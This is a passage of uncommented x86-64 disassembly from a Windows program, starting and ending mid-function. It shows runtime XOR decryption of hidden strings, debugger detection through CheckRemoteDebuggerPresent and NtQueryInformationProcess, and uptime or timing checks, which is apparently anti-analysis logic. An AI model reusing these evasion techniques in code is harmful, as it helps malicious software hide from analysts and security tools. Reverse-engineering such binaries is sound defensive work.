add rcx, 0x10
jmp 0x14000326c
test rbp, rbp
mov r14, qword [rsp + 0x80]
lea r15, [rsp + 0x178]
lea r12, [rsp + 0x310]
lea r13, [rsp + 0x170]
je 0x140002f10
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
jmp 0x140002f10
mov rcx, qword [rsp + 0x68]
movzx eax, byte [r14 + rcx]
test al, al
js 0x140002ea3
movdqa xmm0, xmmword [r14]
pmovmskb eax, xmm0
tzcnt ecx, eax
movzx eax, byte [r14 + rcx]
jmp 0x140002ea3
lea rcx, [rsp + 0xd0]
lea rdx, [rsp + 0xf0]
call fcn.1400eae40
jmp 0x140003239
movdqa xmm0, xmmword [rsi]
pmovmskb r15d, xmm0
not r15d
lea r14, [rsi + 0x10]
mov r12, rsi
jmp 0x1400033e6
dec rbx
lea eax, [r15 - 1]
and eax, r15d
mov r15d, eax
test rbx, rbx
je 0x140002e1c
test r15w, r15w
jne 0x140003411
nop dword [rax]
movdqa xmm0, xmmword [r14]
pmovmskb r15d, xmm0
add r12, 0xfffffffffffffe80
add r14, 0x10
cmp r15d, 0xffff
je 0x1400033f0
not r15d
tzcnt eax, r15d
neg rax
lea rax, [rax + rax*2]
cmp qword [r12 + rax*8 - 0x18], 0
je 0x1400033d0
lea rax, [r12 + rax*8]
mov r8, qword [rax - 0x10]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x1400033d0
cmp rsi, 0xd8
jne 0x140003608
mov rcx, qword [0x14017a0c0]
xor r14d, r14d
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x280]
mov rax, qword [rcx]
call qword [rax + 0x10]
jmp 0x14000349f
cmp rsi, 0xd8
jne 0x140003647
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x78]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x280]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov r14b, 1
lea rdx, [0x14016f62c]
lea rcx, [rsp + 0x2e0]
mov r8d, 0xa
call fcn.1400feff0
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
mov rsi, qword [rsp + 0x2e8]
mov qword [rsp + 0xd0], rsi
lea rax, [0x140169b19]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x410b0b75e88491c6
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8a90
movabs rcx, 0x8d8a5d9ff30f7c3b
xor rcx, qword [rax]
movabs rdx, 0x5b179f0c01020ee3
xor rdx, qword [rax + 8]
movabs r8, 0x33076f1b63f2597
xor r8, qword [rax + 0x10]
movabs r9, 0x7dad36d8b02450c6
xor r9, qword [rax + 0x18]
movabs r10, 0x78f68b0db5bd3703
xor r10, qword [rax + 0x20]
mov r11d, 0x9b788706
xor r11d, dword [rax + 0x28]
movzx eax, byte [rax + 0x2c]
xor al, 0x8a
mov qword [rsp + 0x2e0], rcx
mov qword [rsp + 0x2e8], rdx
mov qword [rsp + 0x2f0], r8
mov qword [rsp + 0x2f8], r9
mov qword [rsp + 0x300], r10
mov dword [rsp + 0x308], r11d
mov byte [rsp + 0x30c], al
lea rcx, [rsp + 0x170]
lea rdx, [rsp + 0xd0]
lea r8, [rsp + 0x2e0]
mov r9d, 0x2d
call fcn.1400ee360
cmp byte [rsp + 0x170], 0x12
jne 0x140002d2d
mov r15, qword [rsp + 0x178]
mov rdi, qword [rsp + 0x180]
mov r12, qword [rsp + 0x188]
test r12, r12
jne 0x140003697
mov dword [rsp + 0x58], 0
jmp 0x140003771
movabs rcx, 0xaaaaaaaaaaaaaaab
mul rcx
mov rsi, rdx
shr rsi, 4
jmp 0x14000362d
add r15, 0x18
dec rsi
je 0x14000344a
cmp qword [r15 - 8], 0
je 0x140003620
mov r8, qword [r15]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140003620
movabs rcx, 0xaaaaaaaaaaaaaaab
mov rax, qword [rsp + 0x68]
mul rcx
mov rsi, rdx
shr rsi, 4
jmp 0x14000367d
add r15, 0x18
dec rsi
je 0x14000347b
cmp qword [r15 - 8], 0
je 0x140003670
mov r8, qword [r15]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140003670
lea rax, [r12 + r12*2]
shl rax, 4
add rax, rdi
mov rcx, rdi
jmp 0x1400036b9
cmp rcx, rax
je 0x140003f47
mov rdx, qword [rcx]
mov r8, qword [rcx + 0x18]
add rcx, 0x30
movdqa xmm0, xmmword [rdx]
pmovmskb r10d, xmm0
not r10d
lea r9, [rdx + 0x10]
nop word cs:[rax + rax]
test r8, r8
je 0x1400036b0
test r10w, r10w
jne 0x140003711
nop dword [rax + rax]
movdqa xmm0, xmmword [r9]
pmovmskb r10d, xmm0
add rdx, 0xfffffffffffffc80
add r9, 0x10
cmp r10d, 0xffff
je 0x1400036f0
not r10d
tzcnt r11d, r10d
neg r11
imul r11, r11, 0x38
add r11, rdx
mov rbx, r11
add rbx, 0xffffffffffffffe0
je 0x1400036b0
lea ebp, [r10 - 1]
and ebp, r10d
mov r10d, ebp
dec r8
cmp byte [rbx], 0xc
jne 0x1400036e0
mov r11d, dword [r11 - 0x1c]
and r11d, 0xfffffffe
cmp r11d, 2
jne 0x1400036e0
mov al, 1
mov dword [rsp + 0x58], eax
test r12, r12
je 0x140003771
mov rbx, rdi
nop word [rax + rax]
mov rcx, rbx
call fcn.1400e9a30
add rbx, 0x30
dec r12
jne 0x140003760
test r15, r15
je 0x14000378f
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rsi, qword [rsp + 0xd0]
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
lea rdx, [0x14016f62c]
lea rcx, [rsp + 0x2e0]
mov r8d, 0xa
call fcn.1400feff0
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x140], rax
lea rax, [0x14016d42a]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x1c6933000f9aa9ec
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e9450
movabs rcx, 0x7fba55ac972ef4f4
xor rcx, qword [rax]
movabs rdx, 0x6653301494f62a4b
xor rdx, qword [rax + 8]
movabs r8, 0x6e9977740a67b7bc
xor r8, qword [rax + 0x10]
mov r9d, 0x4e8d3eaf
xor r9d, dword [rax + 0x18]
movzx eax, word [rax + 0x1c]
mov r10d, eax
xor r10b, 0x63
shr eax, 8
xor al, 0xea
movzx r10d, r10b
movzx eax, al
shl eax, 8
or eax, r10d
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x180], r8
mov dword [rsp + 0x188], r9d
mov word [rsp + 0x18c], ax
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0x140]
lea r8, [rsp + 0x170]
mov r9d, 0x1e
call fcn.1400ee360
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x2f0]
mov rsi, qword [rsp + 0x2f8]
lea rax, [rsi + rsi*2]
shl rax, 4
add rax, rcx
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rax
mov qword [rsp + 0x180], 0
mov qword [rsp + 0x1a8], 0
lea rcx, [rsp + 0x90]
lea rdx, [rsp + 0x170]
call fcn.1400eda10
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x90], rax
jne 0x14000394d
mov ebx, 8
xor r12d, r12d
xor r15d, r15d
jmp 0x140003aa8
movzx eax, byte [0x14017a148]
mov edx, 0x60
xor ecx, ecx
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov rbx, rax
mov rax, qword [rsp + 0xa0]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [rbx], xmm0
mov qword [rsp + 0x240], 4
mov qword [rsp + 0x248], rbx
mov qword [rsp + 0x250], 1
movups xmm0, xmmword [rsp + 0x1c0]
movaps xmmword [rsp + 0x330], xmm0
movups xmm0, xmmword [rsp + 0x1b0]
movaps xmmword [rsp + 0x320], xmm0
movdqu xmm0, xmmword [rsp + 0x170]
movdqu xmm1, xmmword [rsp + 0x180]
movdqu xmm2, xmmword [rsp + 0x190]
movups xmm3, xmmword [rsp + 0x1a0]
movaps xmmword [rsp + 0x310], xmm3
movdqa xmmword [rsp + 0x300], xmm2
movdqa xmmword [rsp + 0x2f0], xmm1
movdqa xmmword [rsp + 0x2e0], xmm0
mov r15d, 1
mov edi, 0x18
lea r12, [rsp + 0xd0]
lea r13, [rsp + 0x2e0]
lea rbp, [rsp + 0x240]
jmp 0x140003a5a
mov rax, qword [rsp + 0xe0]
mov qword [rbx + rdi + 0x10], rax
movdqu xmm0, xmmword [rsp + 0xd0]
movdqu xmmword [rbx + rdi], xmm0
inc r15
mov qword [rsp + 0x250], r15
add rdi, 0x18
mov rcx, r12
mov rdx, r13
call fcn.1400eda10
movabs rax, 0x8000000000000000
cmp qword [rsp + 0xd0], rax
je 0x140003a98
cmp r15, qword [rsp + 0x240]
jne 0x140003a30
mov rcx, rbp
mov rdx, r15
call fcn.1400ece00
mov rbx, qword [rsp + 0x248]
jmp 0x140003a30
mov r12, qword [rsp + 0x240]
mov rbx, qword [rsp + 0x248]
lea rax, [r15*8]
lea rcx, [rax + rax*2]
mov rax, rbx
nop word [rax + rax]
mov rbp, rcx
test rcx, rcx
je 0x140003ae3
mov rdx, qword [rax + 0x10]
cmp rdx, 0x40
je 0x140003ae3
add rax, 0x18
lea rcx, [rbp - 0x18]
cmp rdx, 0x80
jne 0x140003ac0
test r15, r15
jne 0x140003f18
test r12, r12
je 0x140003b02
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
test rsi, rsi
je 0x140003b21
mov rbx, qword [rsp + 0x68]
nop dword [rax]
mov rcx, rbx
call fcn.1400e9a30
add rbx, 0x30
dec rsi
jne 0x140003b10
cmp qword [rsp + 0x60], 0
je 0x140003b3c
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, qword [rsp + 0x68]
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [rsp + 0x140]
mov rax, qword [rcx]
call qword [rax + 0x10]
lea rdx, [0x14016f62c]
lea rcx, [rsp + 0x2e0]
mov r8d, 0xa
call fcn.1400feff0
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
mov r12, qword [rsp + 0x2e8]
mov qword [rsp + 0xd0], r12
lea rax, [0x14016b93f]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x265154c01a70a718
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e87c0
movabs rcx, 0x8fbf27517157894e
xor rcx, qword [rax]
movabs rdx, 0xe4474cdb01f36d9b
xor rdx, qword [rax + 8]
movabs r8, 0xe2bbaf70b6596c95
xor r8, qword [rax + 0x10]
mov r9d, 0x7de97f9a
xor r9d, dword [rax + 0x18]
movzx r10d, byte [rax + 0x1e]
movzx eax, word [rax + 0x1c]
mov r11d, eax
shr r11d, 8
xor al, 0x77
xor r11b, 0xc4
movzx eax, al
movzx r11d, r11b
shl r11d, 8
or r11d, eax
xor r10b, 0x58
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x180], r8
mov dword [rsp + 0x188], r9d
mov word [rsp + 0x18c], r11w
mov byte [rsp + 0x18e], r10b
lea rcx, [rsp + 0x2e0]
lea rdx, [rsp + 0xd0]
lea r8, [rsp + 0x170]
mov r9d, 0x1f
call fcn.1400ee360
cmp byte [rsp + 0x2e0], 0x12
jne 0x140002d2d
mov rsi, qword [rsp + 0x2e8]
mov rbx, qword [rsp + 0x2f0]
mov r15, qword [rsp + 0x2f8]
test r15, r15
je 0x140003cc1
mov r13, rbx
mov rdi, r15
nop dword [rax + rax]
mov rcx, r13
call fcn.1400e9a30
add r13, 0x30
dec rdi
jne 0x140003cb0
test rsi, rsi
je 0x140003cdf
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
mov r12, qword [rsp + 0xd0]
mov esi, 0x9a7ecbe7
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
lea rbx, [rsp + 0x2e0]
mov rcx, rbx
call fcn.1400f8e30
mov rcx, rbx
call fcn.1400f90f0
mov r13, qword [rsp + 0x3a0]
lea r12, [rsi + 0x45813419]
mov rcx, rbx
call fcn.1400e9480
lea rbx, [rsp + 0x2e0]
mov rcx, rbx
call fcn.1400f8e30
mov rcx, rbx
call fcn.1400f90f0
call sub.KERNEL32.dll_GetTickCount64
mov rdi, rax
mov rcx, rbx
call fcn.1400e9480
movzx eax, byte [rsp + 0x2c0]
or al, r14b
or al, byte [rsp + 0x58]
jne 0x140003f5d
test rbp, rbp
jne 0x140003f5d
cmp r15, 2
jb 0x140003f5d
cmp r13, r12
jb 0x140003f5d
cmp rdi, rsi
ja 0x140003f5d
mov qword [rsp + 0x170], 0
mov dword [rsp + 0x90], 0
mov qword [rsp + 0x2e0], 0
mov dword [rsp + 0xd0], 0
call sub.KERNEL32.dll_GetCurrentProcess
lea rdx, [rsp + 0xd0]
mov rcx, rax
mov qword [rsp + 0x2c0], rdx
call sub.KERNEL32.dll_CheckRemoteDebuggerPresent
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r15, [rsp + 0x170]
mov rcx, rax
mov edx, 7
mov r8, r15
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x90]
mov rcx, rax
mov edx, 0x1f
mov r9d, 4
call sub.ntdll.dll_NtQueryInformationProcess
call sub.KERNEL32.dll_GetCurrentProcess
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x2e0]
mov rcx, rax
mov edx, 0x1e
mov r9d, 8
call sub.ntdll.dll_NtQueryInformationProcess
cmp dword [rsp + 0xd0], 0
jne 0x1400048c3
cmp qword [rsp + 0x170], 0
jne 0x1400048c3
cmp dword [rsp + 0x90], 0
je 0x1400048c3
cmp qword [rsp + 0x2e0], 0
jne 0x1400048c3
lea rcx, [rsp + 0x2e0]
call fcn.1400e2d30
mov r13, qword [rsp + 0x2e0]
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x1400048cd
mov rax, qword [rsp + 0x2e8]
mov ecx, eax
and ecx, 3
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140004cf0
test rcx, rcx
je 0x140004cf0
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140003f02
cmp qword [rbx + 0x10], 0x11
jb 0x140003ef1
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rsi
call sub.KERNEL32.dll_HeapFree
jmp 0x140004cf0
lea rdi, [rbx + 8]
jmp 0x140003f2d
add rdi, 0x18
dec r15
je 0x140003aec
cmp qword [rdi - 8], 0
je 0x140003f20
mov r8, qword [rdi]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x140003f20
mov dword [rsp + 0x58], 0
test r12, r12
jne 0x140003754
jmp 0x140003771
lea rax, [0x140163df0]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x19545ba874134d44
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e90f0
movabs rcx, 0x177edbaecabe1210
xor rcx, qword [rax]
mov edx, 0x4d64c8cb
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0x55
shr eax, 8
xor al, 0x9c
movzx r8d, r8b
movzx eax, al
shl eax, 8
or eax, r8d
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x98], edx
mov word [rsp + 0x9c], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 0xe
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
lea rax, [0x14008c550]
mov qword [rsp + 0xd8], rax
lea rbx, [0x14016e918]
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
cmp byte [rsp + 0x2c0], 0
je 0x14000454c
lea rax, [0x140162907]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x7266fbabdae8102e
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e91e0
movabs rcx, 0x631cf2ec5cdd0113
xor rcx, qword [rax]
movabs rdx, 0xfefdc320556085cc
xor rdx, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0xec
shr eax, 8
xor al, 0xed
movzx r8d, r8b
movzx eax, al
shl eax, 8
or eax, r8d
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov word [rsp + 0x180], ax
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0x12
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
test r14b, r14b
jne 0x140004555
cmp byte [rsp + 0x58], 0
je 0x14000464e
lea rax, [0x140169af4]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xdb8890ba34b38e3c
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e9250
movabs rcx, 0xce1571673a161d59
xor rcx, qword [rax]
movabs rdx, 0xf1e2afc670d8e1b
xor rdx, qword [rax + 8]
movzx eax, word [rax + 0x10]
mov r8d, eax
xor r8b, 0x5c
shr eax, 8
xor al, 0x34
movzx r8d, r8b
movzx eax, al
shl eax, 8
or eax, r8d
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov word [rsp + 0x180], ax
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0x12
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
test rbp, rbp
jne 0x140004657
cmp r15, 2
jae 0x1400047a1
lea rax, [0x14015f4ba]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xa4d3b9916ceb73d6
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8cc0
movabs rcx, 0xbced0d85c8d249d1
xor rcx, qword [rax]
movabs rdx, 0x4a3cca3bb6e9c64b
xor rdx, qword [rax + 8]
movzx r8d, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
mov r9d, eax
shr r9d, 8
xor al, 0x46
xor r9b, 0xb3
movzx eax, al
movzx r9d, r9b
shl r9d, 8
or r9d, eax
xor r8b, 3
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov word [rsp + 0x180], r9w
mov byte [rsp + 0x182], r8b
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0x13
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
cmp r13, r12
jb 0x1400047aa
cmp rdi, rsi
jbe 0x1400048be
lea rax, [0x140163c41]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x2f60da37f12d2a16
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8ee0
movabs rcx, 0xa99b7aeb2486b2e6
xor rcx, qword [rax]
movabs rdx, 0xd41233841e094888
xor rdx, qword [rax + 8]
mov r8d, 0xde3dac15
xor r8d, dword [rax + 0x10]
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0x8a
and eax, 0xff00
movzx r9d, r9b
or r9d, eax
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov dword [rsp + 0x180], r8d
mov word [rsp + 0x184], r9w
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0x16
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
call fcn.1400e2ba0
test r14b, r14b
je 0x1400041a8
lea rax, [0x1401661f8]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0xa15731d27c5c1315
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8ea0
movabs rcx, 0xadddfc9d15a9cd3a
xor rcx, qword [rax]
mov edx, 0x5b84e2fa
xor edx, dword [rax + 8]
mov qword [rsp + 0x90], rcx
mov dword [rsp + 0x98], edx
lea rax, [rsp + 0x90]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 0xc
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
lea rax, [0x14008c550]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
cmp byte [rsp + 0x58], 0
jne 0x1400041b3
test rbp, rbp
je 0x1400042d6
lea rax, [0x14016e497]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x4518ec5dcf602f98
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e9420
movabs rcx, 0xf4b0fe283d6a8d49
xor rcx, qword [rax]
movabs rdx, 0x4528210d85c4f9d2
xor rdx, qword [rax + 8]
mov r8d, 0x603d90a9
xor r8d, dword [rax + 0x10]
movzx r9d, byte [rax + 0x16]
movzx eax, word [rax + 0x14]
mov r10d, eax
shr r10d, 8
xor al, 0x1d
xor r10b, 0xee
movzx eax, al
movzx r10d, r10b
shl r10d, 8
or r10d, eax
xor r9b, 0x33
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov dword [rsp + 0x180], r8d
mov word [rsp + 0x184], r10w
mov byte [rsp + 0x186], r9b
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0x17
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
cmp r15, 2
jb 0x1400042e0
cmp r13, r12
jae 0x140004417
lea rax, [0x140166810]
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rcx, qword [rsp + 0x2e0]
movabs rax, 0x14ee0fde57a0a558
mov qword [rsp + 0x2e0], rax
lea rax, [rsp + 0x2e0]
mov rdx, qword [rsp + 0x2e0]
call fcn.1400e8b80
movabs rcx, 0x7438c44b1e8bf179
xor rcx, qword [rax]
movabs rdx, 0x9133f695fa83d073
xor rdx, qword [rax + 8]
movabs r8, 0xfdc36b9b13c50dc5
xor r8, qword [rax + 0x10]
mov qword [rsp + 0x170], rcx
mov qword [rsp + 0x178], rdx
mov qword [rsp + 0x180], r8
lea rax, [rsp + 0x170]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 0x18
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x90], rax
lea rax, [0x14008c550]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x2e0], rbx
mov qword [rsp + 0x2e8], 2
mov qword [rsp + 0x300], 0
lea rax, [rsp + 0x90]
mov qword [rsp + 0x2f0], rax
mov qword [rsp + 0x2f8], 1
lea rcx, [rsp + 0x2e0]
call fcn.1400e81e0
cmp rdi, rsi
ja 0x140004420
call fcn.1400e2ba0
call fcn.140042550
call fcn.1400e2ba0
mov rbx, qword [rsp + 0x2e8]
mov rdx, qword [rsp + 0x2f0]
mov rcx, rbx
call fcn.1400e63e0
test rax, rax
jne 0x1400048fe
movabs rax, 0x8000000000000000
mov qword [rsp + 0x58], rax
jmp 0x14000498e
mov r8, rdx
lea rcx, [rsp + 0x2e0]
mov rdx, rax
call fcn.1400e7960
mov rdi, qword [rsp + 0x2e8]
mov r12, qword [rsp + 0x2f0]
test r12, r12
jne 0x140004934
mov esi, 1
xor eax, eax
mov qword [rsp + 0x58], rax
jmp 0x14000495f
js 0x140002d2d
movzx eax, byte [0x14017a148]
xor ecx, ecx
mov rdx, r12
call fcn.1400dbb10
test rax, rax
je 0x140002d2d
mov rsi, rax
mov rax, r12
mov qword [rsp + 0x58], r12
mov rcx, rsi
mov rdx, rdi
mov r8, r12
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x2e0]
shl rax, 1
test rax, rax
je 0x14000498e
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
test r13, r13
je 0x1400049a4
mov rcx, qword [0x14017a0c0]
xor edx, edx
mov r8, rbx
call sub.KERNEL32.dll_HeapFree
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x58], rax
je 0x140004cf0
lea rdi, [rsp + 0x2e0]
mov rcx, rdi
call fcn.1400f8e30
mov rcx, rdi
call fcn.1400f90f0
mov rbx, qword [rsp + 0x370]
mov rbp, qword [rsp + 0x388]
movdqa xmm0, xmmword [rbx]
pmovmskb r14d, xmm0
not r14d
lea r13, [rbx + 0x10]
xor edi, edi
jmp 0x140004a22
add rax, rbx
mov rcx, qword [rax - 0x138]
mov rdx, rsi
mov r8, r12
call sub.msvcrt.dll_memcmp
test eax, eax
sete al
lea ecx, [r14 - 1]
and ecx, r14d
movzx eax, al
add rdi, rax
dec rbp
mov r14d, ecx
test r14w, r14w
jne 0x140004a52
test rbp, rbp
je 0x140004a6f
nop dword [rax]
movdqa xmm0, xmmword [r13]
pmovmskb r14d, xmm0
add rbx, 0xffffffffffffea80
add r13, 0x10
cmp r14d, 0xffff
je 0x140004a30
not r14d
tzcnt eax, r14d
neg rax
imul rax, rax, 0x158
cmp qword [rbx + rax - 0x130], r12
je 0x1400049f5
xor eax, eax
jmp 0x140004a0f
lea rcx, [rsp + 0x370]
call fcn.1400e9760
cmp qword [rsp + 0x2e0], 0
je 0x140004a9d
mov r8, qword [rsp + 0x2e8]
mov rcx, qword [0x14017a0c0]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x328]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140004acf
test rax, rax
je 0x140004acf
